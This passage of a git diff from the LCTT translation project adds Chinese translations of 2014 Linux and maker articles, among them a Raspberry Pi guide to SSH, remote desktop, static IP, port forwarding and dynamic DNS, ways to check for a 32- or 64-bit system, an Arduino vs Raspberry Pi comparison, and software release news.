+通过[更新日志][1]得知,对照片应用的支持已经添加,一个对过时的GNOME_COMMON_INIT的调用已经被移除,UI进行了调整使得在线账户能够在对话框中使用标题栏,为了防止timerfd(译注:timerfd是Linux为用户程序提供的一个定时器接口)的泄漏,报警逻辑已被简化,以及添加了对Facebook地图应用的支持。 + +另外,对一个微小的内存泄漏问题进行了修复,默认的凭据缓存将不再泄漏,Flickr账户连接现使用SSL加密使其更加安全。 + +**下载 GNOME在线账户 3.13.2 源代码包:** + +- [tar.xz (3.12.2 Stable)][2][sources] [1.20 MB] +- [tar.xz (3.13.2 Development)][3][sources] [1.30 MB] + +请记住这是一个开发版本,不应将其安装在生产环境的机器上。该下载请仅作为测试目的安装。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/GNOME-Online-Accounts-3-13-2-Adds-Support-or-Photos-and-Maps-444249.shtml + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-online-accounts/3.13/gnome-online-accounts-3.13.2.news +[2]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-online-accounts/3.12/gnome-online-accounts-3.12.2.tar.xz +[3]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-online-accounts/3.13/gnome-online-accounts-3.13.2.tar.xz diff --git a/published/201405/5 Pointers To Supercharge Your Raspberry Pi Projects.md b/published/201405/5 Pointers To Supercharge Your Raspberry Pi Projects.md new file mode 100644 index 0000000000..06284afc1f --- /dev/null +++ b/published/201405/5 Pointers To Supercharge Your Raspberry Pi Projects.md @@ -0,0 +1,190 @@ +树莓派进阶学习的五个建议 +======================= +![](http://readwrite.com/files/styles/1400_0/public/fields/Rasberry-Pi_1_red.jpg) + +> 从SSH到端口转发,这些先进的技术将使你的树莓派开发更简单。 + +当你命令行输入命令时,你就不再是一个新手在做一些[新手的设置][1]了。虽然进度不快,但是你的确正在通过你的方式去学习使用这物超所值的、只有信用卡大小的计算机去满足一些DIY想法,这就是树莓派。 + +> 然而,从基础跨越到中级还是存在较大距离。当你从“设置你的派”的教程转而学习“创建一个媒体服务器”时,项目开始前的需求就会有一点点挑战。许多中级的Pi教程,包括ReadWrite的一些文章,都会假设你已经对树莓派设置好了一些东西。 + +并非每一个项目都需要找个教程里的所有建议,但是知道这些步骤可以使项目更顺利地贴合需求。 + +当你准备脱离小白行列时,做一些树莓派教程的预先准备工作对你非常有用。 + +### 1) 使用SSH登录 ### + +SSH意思是[Secure Shell][2],它是一种加密网络协议,用于安全地在计算机与树莓派之间传输你的数据。项目中也许需要你通过你的计算机的命令行控制树莓派,而不是通过给树莓派连接显示器和键盘来控制。 + +现在SSH已经预先安装在树莓派系统 [Raspbian][3] 中了,所以如果你安装的是最新版本或较新版本的树莓派都是支持SSH使用的。 + +要使用SSH,第一,你需要知道你的树莓派的IP地址,在你的树莓派中输入以下命令: + + sudo ifconfig + +[会显示出三个段落][4]。你的IP地址将会在第一段或者第三段显示,这主要看你的树莓派是通过线缆还是通过WIFI适配器连接网络的。如果是通过线缆连接,那请查看第一段,在“eth0”那行开始显示。如果是通过wifi链接,将在第三段“wlan0”开头的地方显示。 + +无论通过哪种方式,你将会看到以“inet addr”开头后面跟着像192.168.2.2这样类型的IP地址,这是我们在这篇文章中经常引用到的一种默认IP地址格式。 + +现在你有一个可以连接树莓派与你的电脑的IP地址了,如果你使用的是Mac,你已经有了内置的SSH,启动你的终端应用并输入: + + ssh pi@192.168.2.2 + +连接之后将会要求输入密码,默认情况下,密码一般是“respberry”.如果你修改了默认密码,请输入你的新密码。这样,您将登入了树莓派系统。 + +如果你在一台PC,还需要附加的一个步骤。 + +![](http://readwrite.com/files/putty2.jpg) + +下载并运行[PuTTY][5]或者其它支持Windows系统的SSH客户端。输入你的IP地址在如上截图中的输入框中。保持默认端口为22不变。然后安心回车,PuTTY将会提示你输入用户名和密码。输入之后,就可以开始在你的树莓派里远程工作了。 + +### 2) 使用远程桌面连接到你的树莓派 ### + +使用SSH去从命令行远程控制你的Pi是极好的,但是如果你想通过图形界面去管理你的Pi怎么办呢?幸运的是MAC和PC都已经内建了这种方式。 + +在你的树莓派中的命令行(是的,你可以通过SSH来操作),输入: + + sudo apt-get install xrdp + +xdrp是一种在可以在后台运行的计算机[守护进程][6],并支持Mac和PC上的微软远程桌面客户端。当树莓派中安装好xrdp之后,你的MAC或者PC就可以通过客户端登录到树莓派中了。 + +找到你的电脑中一个叫远程桌面的客户端。它本身并不是隐藏起来的,但没有放到应用程序的文件夹中。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-07%20at%2010.14.13%20PM.png) + +出现上述提示时输入你的IP地址。接下来会弹出xrdp窗口,提示你输入用户名和密码。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-07%20at%2010.14.31%20PM.png) + +如果进展顺利,你的树莓派桌面就会在你的电脑屏幕上的窗口里面显示出来了。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-07%20at%2010.14.48%20PM.png) + +### 3) 给你的树莓派设置一个家庭网络的静态地址 ### + +在之前(第一步)找到的树莓派的IP地址现在是可以连接的,但是不能保证你的路由器会一直给你的树莓派分配一个永久固定的IP地址。这意味着在你网段中的其它计算机无法知道树莓派被分配了什么IP地址。那么如何来给树莓派分配静态的IP地址而不是每隔几天就在树莓派上执行“sudo ifconfig”命令,或者糟糕到每隔几个小时一次? + +显然,我们要从“ifconfig”命令开始,所以输入: + + sudo ifconfig + +拿出笔和纸做准备,记录下面的三个IP地址。(#后面的代码是注释,实际不会显示.): + + inet addr: 192.168.2.2 # 树莓派的当前IP地址 + + Bcast: 192.168.0.255 # 地址广播范围 + + Mask: 255.255.255.0 # 子网掩码 + +此外,你还需要知道另外2个信息。请输入以下命令获取网关和目的地址(译注:实际上我们只需要知道默认网关的IP就行了)。 + + netstat -nr + +接下来,去查看你路由器上的配置。(如何进行这一步主要取决于你用什么路由器,所以还是查看下说明书吧)找出你的设备通过DHCP设置了哪段ip地址。有些地址是不能使用的,因为DHCP协议中已经分配使用了。所以要选择没有被使用的,例如,192.168.2.2。你的路由器也许可以让你保留一个未使用的IP地址,固定分配给像树莓派这样的本地设备。(如果你的路由器是Belkin,那大概就是这样)如果是这样的,那就不用看下面的部分了。 + +如果不能固定分配,你需要让树莓派知道它的新的ip地址。我们通过nano编辑器来编辑树莓派中相关的文件。 + + sudo nano /etc/network/interfaces + +将“iface eth0 inet dhcp”这一段修改成“iface eth0 inet static”,也就是将动态获取IP修改成静态IP。 + +接下来输入如下,将下列X取代成你之前所记下来的地址信息。最上面的地址是我们将要把DHCP中没有使用的IP地址分配作为树莓派的静态IP地址。 + + address 192.168.2.2 + + netmask XXX.XXX.XXX.X + + network XXX.XXX.X.X + + broadcast XXX.XXX.X.X + + gateway XXX.XXX.X.X + +使用“sudo reboot”的命令重启树莓派系统后,在命令行再次输入“ifconfig”,我们刚刚新设置的静态IP设置就会呈现。 + +### 4) 端口转发至树莓派 ### + +一些树莓派程序可能需要你转发一个特定的网络端口号到你的树莓派。端口是信息在互联网传送的虚拟路径。有时候你需要转发一个端口来使像树莓派这样计算机可以被互联网访问,即使它在路由器后面。这种情况有点像拨电话分机号一样。 + +端口转发能够用于像[树莓派网页服务器][8],树莓派的VOIP或者简单的点对点下载。有超过65000个端口可供选择,你可以分配不同的端口给不同的树莓派项目用来进行通信。 + +某些端口默认情况下代表着特定的应用。例如80端口默认为HTML页面,21端口默认代表FTP传输,1194端口默认用于设置VPN服务器。所以大多情况下,你可以随便选择哪个端口作为默认使用。(译注:此处原文“So a lot of the time, you can just go with whichever port is set as the default. ”似乎不能和上文衔接,以译者判断,应该是“所以大多数情况下,你应该选择默认的端口提供服务。”) + +设置端口转发的方法完全取决于你的路由器,于是很难创建一个固定的关于设置[端口转发][9]教程。你只能阅读你路由器的说明书来定义端口和转发了。 + +下面链接了几个主流路由器厂商的端口转发教程。 + +- [Belkin][10] +- [Netgear][11] +- [Linksys][12] + +### 5) 在互联网上给你的树莓派设置静态地址 ### + +再次声明,如果你的运营商给了你一个静态IP,你就不需要看这个部分了。 + +我们已经给树莓派设置了一个静态的内部IP地址,这意味着在你的内部网络中总是能够连到你的树莓派。但是如果程序需要树莓派连接到互联网呢?如果你想要在你的树莓派上搭建一个Web服务器,在你网络之外的人们需要知道你的树莓派在哪里,这意味着我们要来设置一个像静态IP的公开地址。 + +我之所以说“看起来像”是因为我们已经设置了一个伪静态IP地址。通常,你所在的运营商将会不断变换分配给你的地址。所以每一次有人连接到你的树莓派时,我们就要写个脚本说:“树莓派已经搬家了,让我带你去新的地址吧! ” + +我们可以通过[DDNS][13](即动态DNS)来实现,它实时维护名字解析,并通过 [DDClient][14] 程序通知DDNS修改指向到你的树莓派。 + +首先需要注册一个类似[DNS Dynamic][15]的动态主机服务。根据指示并创建新的名称服务器类似Yourserver.dnsdynamic.com. + +接下来进入树莓派中的命令行,使用下面命令来安装DDNS客户端: + + sudo apt-get install ddclient + +我们需要编辑DDNS客户端配置,使用新的名称服务器: + + sudo nano /etc/ddclient/ddclient.conf + +每种服务配置都会有略微的不同,但是DDNS的网站会告诉你需要在配置文件中修改的内容。一个标准的DDNS配置,举个栗子,如 [DDNS配置][16],可以直接复制粘贴。 + +你的运营商不会因为你的这个文件而停止更新给你分配的IP地址,因此我们在脚本的最前面设置一个守护进程执行的频度,以确保及时检查IP地址是否已经更改。 + + daemon=600 + # check every 600 seconds + +这里设置的是每10分钟检查一次,这是一个不错的选择。如果你设置成每秒钟检查一次,你的动态服务器恐怕不干,因为这样对它来说是一种轰炸。记得按下ctrl+x保存并退出配置文件。 + +接下来,输入: + + ddclient + +如上输入程序的名称就可以运行了。当你的树莓派开着的时候就会持续运行了。如果你重启树莓派,键入 “ddclient”就会重新开始运行了。 + +现在你的树莓派已经被装修一番,可以迎接更高级的教程了,请从中获得更多乐趣吧! + +### 关于作者: + +本文的美女作者:[Lauren Orsini](http://readwrite.com/author/lauren-orsini#awesm=~oEMljxDCpMKnXj)是一个专业记者、业余程序员和全职宅女,她住在饱受交通之苦的Arlington, VA。 + +![Lauren Orsini](http://readwrite.com/files/fields/LaurenOrsini.jpg) + + + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/04/09/raspberry-pi-projects-ssh-remote-desktop-static-ip-tutorial#feed=/hack&awesm=~oB1b7zvteUQGOV + +译者:[disylee](https://github.com/disylee) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.raspberrypi.org/downloads/ +[2]:http://en.wikipedia.org/wiki/Secure_Shell +[3]:http://www.raspbian.org/ +[4]:https://learn.adafruit.com/adafruits-raspberry-pi-lesson-3-network-setup/finding-your-pis-ip-address +[5]:http://www.chiark.greenend.org.uk/~sgtatham/putty/ +[6]:http://en.wikipedia.org/wiki/Daemon_(computing) +[7]:https://www.modmypi.com/blog/tutorial-how-to-give-your-raspberry-pi-a-static-ip-address +[8]:http://raspberrywebserver.com/serveradmin/get-your-raspberry-pi-web-site-on-line.html +[9]:http://portforward.com/help/portforwarding.htm +[10]:http://www.belkin.com/us/support-article?articleNum=10790 +[11]:http://kb.netgear.com/app/answers/detail/a_id/24046/~/how-do-i-configure-port-forwarding-on-routers-with-the-netgear-genie-interface%3F +[12]:http://kb.linksys.com/Linksys/ukp.aspx?pid=80&vw=1&articleid=21470 +[13]:http://en.wikipedia.org/wiki/Dynamic_DNS +[14]:http://sourceforge.net/p/ddclient/wiki/Home/ +[15]:https://www.dnsdynamic.org/ +[16]:http://dnsdynamic.blog.com/2011/06/26/using-ddclient-with-dnsdynamic/ +[17]:http://readwrite.com/2014/01/21/raspberry-pi-great-projects#feed=/search?keyword=raspberry+pi&awesm=~oAWzuuuChYu9vm diff --git a/published/201405/5 Ways To Check If Linux OS is 32 bit or 64 Bit.md b/published/201405/5 Ways To Check If Linux OS is 32 bit or 64 Bit.md new file mode 100644 index 0000000000..d15d4ce6b7 --- /dev/null +++ b/published/201405/5 Ways To Check If Linux OS is 32 bit or 64 Bit.md @@ -0,0 +1,71 @@ +五种方法检测你的 Linux 是32位还是64位 +================================================================================ +有的时候 Linux 新手们在下载软件的时候十分困惑,因为下载页面常常同时提供32位和64位版本的软件。所以弄清楚你的操作系统是32位的还是64位的十分重要,因为你在做很多事情的时候都需要这个信息。在这篇文章里,我们会讨论五种检测你的Linux系统是32位还是64位的方法。 + +### 检测你的 Linux 是32位还是64位的 ### + +请注意文中的这些方法是在 Ubuntu 13.10 平台测试. + +#### 1. 执行‘uname -a’ 命令 #### + +最常见的一个测试方法是运行 [uname command][1] 命令。 + +例如,在我的系统里,它显示了以下信息: + + $ uname -a + Linux ubuntu 3.11.0-12-generic #19-Ubuntu SMP Wed Oct 9 16:12:00 UTC 2013 i686 athlon i686 GNU/Linux + +那个高亮的 **i686** (or 有时候会是i386) 说明操作系统是32位的,但是如果显示的是 **x86_64**,那就说明这个操作系统是64位的。 + +#### 2.运行 ‘uname -m’ 命令 #### + +上面的命令内涵太多了,可以用这个参数直指人心:‘uname -m’ 。 + +例如,在我的系统里,它显示了以下信息: + + $ uname -m + i686 + +这说明我的 Ubuntu Linux 系统是32位的,如果输出显示的是x86\_64,就说明系统是64位的。 + +#### 3.使用 file 命令#### + +尽管这样做纯粹是炫耀技巧,但是仍然不失为一种达到目的的方法。使用这个方法,需要你运行 file 命令并带上 **/sbin/init** 作为参数。 + +举个例子: + + $ file /sbin/init + /sbin/init: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc0d86a25a7abb14cad4a65a1f7d03605bcbd41f6, stripped + +高亮的 **32-bit** 说明这是一个32位的操作系统,如果显示为 **64-bit** 则说明操作系统是64位的 + +#### 4. 使用 arch 命令 #### + +另外一个可以选择的方法是使用 arch 命令,这个命令用于输出机器的硬件名称。 + +这里有一个示例: + + $ arch + i686 + +在这里你可以看到输出的是 i686, 这说明这是一个32位操作系统,对于64位的操作系统,输出的应该是x86_64。 + +#### 5. 通过系统设置的方法 #### + +如果你使用的是 Ubuntu 12.04 或更高, 你可以很简单地在** All Settings -> Details**里查看你的系统结构。 + +![details](http://mylinuxbook.com/wp-content/uploads/2014/04/details.png) + +这样你就可以看到系统类型(32-bit)在这里清晰地显示出来。 + +你还知道别的方法来检测操作系统是32位还是64位的吗?在下面回复与我们分享吧。 + +-------------------------------------------------------------------------------- + +via: http://mylinuxbook.com/5-ways-to-check-if-linux-is-32-bit-or-64-bit/ + +译者:[crowner](https://github.com/crowner) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mylinuxbook.com/linux-uname-command/ diff --git a/published/201405/Arduino Vs. Raspberry Pi--Which Is The Right DIY Platform For You.md b/published/201405/Arduino Vs. Raspberry Pi--Which Is The Right DIY Platform For You.md new file mode 100644 index 0000000000..b8417851a4 --- /dev/null +++ b/published/201405/Arduino Vs. Raspberry Pi--Which Is The Right DIY Platform For You.md @@ -0,0 +1,242 @@ +Arduino 与 Raspberry Pi: 哪个是更适合你的DIY平台? +================================================================================ +![](http://readwrite.com/files/styles/1400_0/public/fields/arduinopi.jpg) +你想做硬件DIY吗?它们哪个更适合你? + +如果你很熟悉电子DIY,那么应该听过[Arduino][1]和[Raspberry Pi(树莓派)][2]的特点对比。你也许甚至会猜测到,[像我之前认为的][3],它们两个是处理相似问题的相互竞争的硬件平台。 + +实际上,Arduino和树莓派非常不一样。对于初学者来说,树莓派是一台完整功能的计算机,而Arduino只是一个微控制器,它仅仅是组成计算机的一个模块。 + +这里有一些指引来帮助你区分Arduino和树莓派,然后确定这两个DIY设备中的哪个更适合你的需求。 + +### 概述 ### + +树莓派和Arduino最开始都被设计成教育工具,这也是它们现在这么流行的原因,它们两个都非常容易学习使用。 + +树莓派来自英国。开始的时候,发明者Eben Upton和他在剑桥大学计算机实验室的同事对学生数量的逐渐减少和差劲的技能感到非常懊恼,于是想办法解决这个问题。他们设计的树莓派是一台便宜的方便修改的计算机,目的是提高动手能力。Upton在2006年设计了树莓派的原型,在[2012年4月][4]的时候第一次可以在市场上买到。 + +另一个,Arduino诞生于意大利。它是根据发明者Massimo Banzi和合伙人想到这个点子的一个酒吧的名字命名的。Banzi是伊夫雷亚互动设计学院的一名教师,他想为他学设计的学生做一个简单的硬件原型制作工具。 + +作为教育工具,Arduino和树莓派都适合初学者。而在了解了它们的硬件和软件特点之后,很明显它们会应用到完全不同的项目中。 + +### 硬件和软件 ### + +这里大概列出了两者规格上的最大差异 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

 

+
+

Arduino Uno

+
+

树莓派Model B

+
+

价格

+
+

$30

+
+

$35

+
+

体积

+
+

7.6 x 1.9 x 6.4 cm

+
+

8.6cm x 5.4cm x 1.7cm

+
+

内存 

+
+

0.002MB

+
+

512MB

+
+

主频

+
+

16 MHz

+
+

700 MHz

+
+

集成网络接口

+
+

没有

+
+

10/100M以太网RJ45

+
+

多任务支持

+
+

没有

+
+

+
+

输入电压

+
+

7到12伏

+
+

5伏

+
+

Flash存储

+
+

32KB

+
+

SD卡(2到16G) 

+
+

USB 

+
+

一个,仅做为输入

+
+

两个,可扩展外围设备

+
+

操作系统

+
+

没有

+
+

Linux发行版

+
+

集成开发环境

+
+

Arduino

+
+

Scratch, IDLE, Linux支持的任何环境

+
+ +它们两个的价格和体积都差不多,我们已经知道树莓派和Arduino都很小巧很便宜,只是它们所包含的东西决定了它们的不同。树莓派在时钟速度上比Arduino快40倍。而更打击Arduino的是,树莓派拥有其128,000倍的内存。树莓派是一台独立的计算机,可以运行实际的Linux操作系统,支持多任务,支持两个USB端口,还可以无线连接到因特网。总之,它足够强劲,完全可以作为个人电脑(但是还不足以与Mac或PC比较)。 + +也许看起来树莓派比Arduino高级,但那仅仅是软件应用。Arduino的简单让它在单纯的硬件项目中表现更好。 + +我采访了Limor Fried,她是[Adafruit][5]的创办者,Adafruit是一个DIY电子商店,提供Arduino和树莓派的部件和工具,询问了她关于这两者之间不同的专业意见。作为一个从MIT毕业的工程师,立志要教所有级别的电子技术的高手,Fried比其他人更懂这两个平台。 + +“Arduino有处理'实时'和'模拟电路'的能力,这是树莓派没有的,这种灵活性让它可以匹配各种传感器或芯片”Fried这样说,“树莓派就没有这样灵活,比如,要读取模拟传感器就需要额外的硬件协助。有成千上万的教程教你把Arduino挂到几乎所有的设备上。另一方面,树莓派可以受益于多年的Linux软件积累,所以它们两个都是很棒的选择!” + +Arduino的集成开发环境明显比Linux容易太多了。比如,如果你在树莓派上想写个程序让LED闪烁,你需要安装一个操作系统以及各种代码库,而这还仅仅只是开始。而在Arduino上,你可以用仅仅8行代码来让LED闪烁。而且,Arduino并没有设计成运行操作系统或是大量软件,你可以仅仅把它插到板子上,它就开始工作了。 + +树莓派可以支持多个任务进程,它可以在后台运行多个程序。比如,我有一台树莓派同时用作打印服务器和[VPN服务器][6]。 + +另一方面,你可以让Arduino插在板子上去长时间执行单一的任务,而当你想停止的时候把它拔出来就好了。这也是为什么Fried建议初学者在玩树莓派之前先玩Arduino: + +“Arduino更简单,更难'变砖'或'损坏',而且有更多的适合初学者的学习资源。”Fried这样说,“而要玩树莓派,你不但要学习编程比如Python,还要学习Linux。Arduino可以在任意电脑上工作,而且可以用电池供电,你可以任意时候随时开关都很安全。而树莓派在没有合适关机的情况下断电可能会损坏。” + +树莓派在软件应用上大放光芒,而Arduino让硬件项目变得更简单。所以问题变成你先确定你想做什么。 + +### 一起使用 ### + +选择树莓派或是Arduino的终极答案是:“为什么要选择?”如果你想学习一些电子知识,它们中任意一个可以教你不同的内容。 + +按照Fried的意见,树莓派和Arduino是互补的。她提供了一种场景,Arduino是传感器工场,而树莓派负责分发指令: + +“它们在一起工作会更好”Fried说,“Arduino非常适合驱动马达,读取传感器数据,控制LED,等等。而同时你可以用一个连接到因特网的树莓派来驱动Arduino,一台迷你电脑可以轻松地用来播放视频,音乐或是发送邮件。” + +作者Simon Monk,他曾经写过大量关于树莓派和Arduino的书,在博客里写了篇教程用一点点代码就可以[连接树莓派和Arduino][7]。它用到了Python的库,[PySerial][8],这也是Arduino基地推荐的连接电脑和Arduino的最容易的方式。 + +只要你做到了这个,那几乎就有无限可能了。你可以[自制啤酒][9],用Arduino控制传感器,而用树莓派来处理主要流程。你还可以建立一个[制造机器人的平台][10],比单独的Arduino或是树莓派机器人强大多了。 + +### 社区 ### + +不管树莓派还是Arduino,都有很多大型的、活跃的社区。这些论坛不仅仅是在学校和大学里使用,世界范围的极客们也都在里面。 + +下面这些地方你可以去看看,里面会有树莓派的支持和一些项目创意: + +- [The Raspberry Pi Foundation — FAQs][10] +- [The Raspberry Pi Foundation — Project Forums][11] +- [Learn Raspberry Pi with Adafruit][12] +- [Element 14 (Pi’s manufacturer) Raspberry Pi Community][13] +- [The Raspberry Pi Wiki][14] + +下面是关于Arduino的: + +- [Arduino’s Official Getting Started Guide][15] +- [Arduino Playground][16] +- [Arduino Official Forums][17] +- [Learn Arduino with Adafruit][18] +- [r/arduino on Reddit][19] + +图片来源:[Simon Monk][20] + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/05/07/arduino-vs-raspberry-pi-projects-diy-platform#feed=/hack&awesm=~oEFMq68riarQK2 + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://readwrite.com/2014/04/21/easy-arduino-projects-basics-tutorials-diy-hardware +[2]:http://readwrite.com/2014/01/20/raspberry-pi-everything-you-need-to-know +[3]:http://readwrite.com/2014/04/16/arduino-raspberry-pi-connected-home-tutorials-projects +[4]:http://www.raspberrypi.org/archives/1081 +[5]:http://www.adafruit.com/ +[6]:http://readwrite.com/2014/04/10/raspberry-pi-vpn-tutorial-server-secure-web-browsing +[7]:http://www.doctormonk.com/2012/04/raspberry-pi-and-arduino.html +[8]:http://playground.arduino.cc/Interfacing/Python +[9]:http://www.brewpi.com/ +[10]:http://www.raspberrypi.org/help/faqs/ +[11]:http://www.raspberrypi.org/forums/viewforum.php?f=15 +[12]:https://learn.adafruit.com/category/learn-raspberry-pi +[13]:http://www.element14.com/community/community/raspberry-pi +[14]:http://elinux.org/RPi_Hub +[15]:http://arduino.cc/en/Guide/HomePage +[16]:http://playground.arduino.cc/Projects/ArduinoUsers +[17]:http://forum.arduino.cc/ +[18]:https://learn.adafruit.com/category/learn-arduino +[19]:http://www.reddit.com/r/Arduino +[20]:http://www.doctormonk.com/2012/04/raspberry-pi-and-arduino.html diff --git a/published/201405/Atom Is Now Open Source.md b/published/201405/Atom Is Now Open Source.md new file mode 100644 index 0000000000..92c4ad26d5 --- /dev/null +++ b/published/201405/Atom Is Now Open Source.md @@ -0,0 +1,46 @@ +Atom开源了!!! +======================= + +今天,我们兴奋地宣布:在[MIT开源许可证][1]下,Atom开源了!我们看到,GitHub努力以构建更好的软件为首要任务,而Atom对此是一个完美的补充。Atom是个长期的投入,GitHub将继续由专门的团队支持其发展。但是我们也知道,我们对Atom的愿景不可能独自实现。在过去的30年里Emacs和Vim已经证明,如果你想建立一个活跃的持续的文本编辑器社区,必须开源! + +## Atom包含了什么? + +Atom的许多功能是通过包来提供的,从我们发布beta版开始所有Atom包就已经开源。今天,我们会开源Atom的剩余部分,包括核心应用程序、Atom包管理器,以及基于Chromium的桌面应用程序框架和Atom Shell。 + +### Atom核心 + +[Atom核心][2]包含了包以外的应用程序部分。包括构建系统、Atom国际化环境、工作区和窗口,以及文本编辑组件。随着时间的推移,我们从Atom中把一些功能提取出来放入库中以便能独立使用,我们期望这个过程能一直持续下去。 + +### Atom包管理器 + +Atom包管理器,[`apm`][3], 是个客户端库和命令行多功能程序,用来帮助发布和安装Atom包。 `apm`目前是由`atom.io`提供支持,但是我们计划将后端API标准化,如此你就能管理自己的注册簿(registy)了。 + +### Atom Shell + +最后,同Atom一样,我们真的很兴奋[Atom Shell][4]也能够开源。超过2.5年的开发,Atom像个寄居蟹一样,它首先在Cocoa `WebView`中开始生命,然后移居到[Chromium嵌入式框架][5], 最终安家在Atom Shell中。我们短暂尝试了使用[Node-Webkit][6],但是我们决定采用@zcbenz构建的框架。 + +我们采取在整洁、可维护的环境中整合Chromium和Node,包括在Node中发起增加[multi-context支持][7]。我们也建立了[brightray][8]和[libchromiumcontent][9],使其更易嵌入Chromium到本地应用程序作为共享库。 + +## 关于未来! + +在准备发布Atom 1.0版本之前仍然有大量的工作要做。在接下来几个月,我们将集中改善性能,在Linux和Windows上发放测试,以及使API趋于稳定。我们认为开源会帮助我们更快达到目标,更重要的是,源代码将给你透明度和控制权,你能从你的工具中告诉我们你想要的。 + +在迄今为止的Atom beta版本中我们感谢每个参与进来的开发者。你的反馈,包和推送请求(PR)是无价的。如果我们不是打算做个能够陪伴一生的编辑器的话,我们是不会创造它的,我们很高兴把这关键的一步变为现实! + +-------------------------------------------------------------------------------- + +via: http://blog.atom.io/2014/05/06/atom-is-now-open-source.html + +译者:[Vito](https://github.com/vito-L) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://choosealicense.com/licenses/mit/ +[2]:https://github.com/atom/atom +[3]:https://github.com/atom/apm +[4]:https://github.com/atom/atom-shell +[5]:https://code.google.com/p/chromiumembedded/ +[6]:https://github.com/rogerwang/node-webkit +[7]:http://strongloop.com/strongblog/whats-new-node-js-v0-12-multiple-context-execution/ +[8]:https://github.com/brightray/brightray +[9]:https://github.com/brightray/libchromiumcontent diff --git a/published/201405/Aura-Powered Google Chrome Now Available on Linux.md b/published/201405/Aura-Powered Google Chrome Now Available on Linux.md new file mode 100644 index 0000000000..ce9daacf1d --- /dev/null +++ b/published/201405/Aura-Powered Google Chrome Now Available on Linux.md @@ -0,0 +1,38 @@ +基于Aura的Google Chrome浏览器Linux版已提供下载 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/Screen-Shot-2014-05-21-at-00.00.22.png) + +**经过似乎漫无止境的等待之后,Google近日正式发布采用Aura(它是这个 搜索巨头开发的内部图形层————译注:硬件加速窗口管理器)的Chrome浏览器 for Linux的第一个稳定版本。** + +用于取代GTK+的Aura, 是用来在屏幕上绘制包括菜单和窗口框架在内的Chrome UI的主体部分(是的,它在局部窗口集成菜单和全局菜单中都能完美工作)。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/Screen-Shot-2014-05-21-at-00.18.15.png) + +这个外观框架已经在Windows和Chrome OS builds中使用,因其绝大部分是跨平台的,使得Google能够更快地开发新特性以及保证特性在不同的操作系统中的一致性。 + +在Linux上,相比GTK+版本的Chrome/Chromium,Aura加速界面能够更加有效地利用GPU的特性。尤其是Aura能够以每个窗口一个OpenGL的方式使用openGL而不是每个标签一个OpenGL。 + +新版的到来带来了一些额外的特性,包括Chrome通知中心、[一个可选的应用启动器][1]以及对显示选定的Google Now卡片的支持。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/aura.jpg) + +### 其它变化 ### + +Chrome 35 稳定版同样带来大量的跨平台变动, 包括为开发者提供若干可用的新扩展API;新的触摸输入管理;以及未说明的‘新JavaScript特性’。 + +如同每个新版本,Chrome 35 同样包含大量稳定性,性能和安全更新。 + +点击以下链接下载Google Chrome 35 for Linux: + +- [下载Google Chrome][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/google-chrome-35-linux-arrives-aura + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://chrome.google.com/webstore/launcher +[2]:https://www.google.com/chrome/browser/ diff --git a/published/201405/BattleBlock Theater Now Rules the Steam for Linux Best-Selling List.md b/published/201405/BattleBlock Theater Now Rules the Steam for Linux Best-Selling List.md new file mode 100644 index 0000000000..ffd7ba4315 --- /dev/null +++ b/published/201405/BattleBlock Theater Now Rules the Steam for Linux Best-Selling List.md @@ -0,0 +1,56 @@ +“战斗砖块剧场”占据了 Steam 上 Linux游戏排行榜首位 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/BattleBlock-Theater-Now-Rules-the-Steam-for-Linux-Best-Selling-List-442722-2.jpg) + +**Steam for Linux平台在过去几周接受了一些新游戏,其中几个在最畅销名单里有很高的提升。** + +**小小世界2** 取代原第十位并成为进入这个专属名单里的新游戏。这款游戏基于同名的幻想桌游,这可能是此类型游戏里唯一一个有Linux版本的游戏。 + +**足球经理2014** 掉到了第九位,但鉴于这是Steam for Linux上最贵的游戏,我们可以有把握地说他依然做的很好。不需要介绍,这款游戏被认为是同类中做得最好的。 + +**反恐精英:起源** ,游戏结合了原作反恐精英的玩法,使用的是Source引擎,又回到了Steam for Linux最畅销名单顶部,位于第八位。 + +**伊卡罗斯之炮在线版** ,Muse Games开发的多玩家第一人称射击游戏,游戏有多个平台版本,包括Linux,现在它位于第七位而且它甚至打二五折。 + +**求生之路2** , Valve开发的多人合作第一人称射击游戏,仍然是Linux平台最好的游戏之一,位于第六位。 + +**星界边境 Starbound** 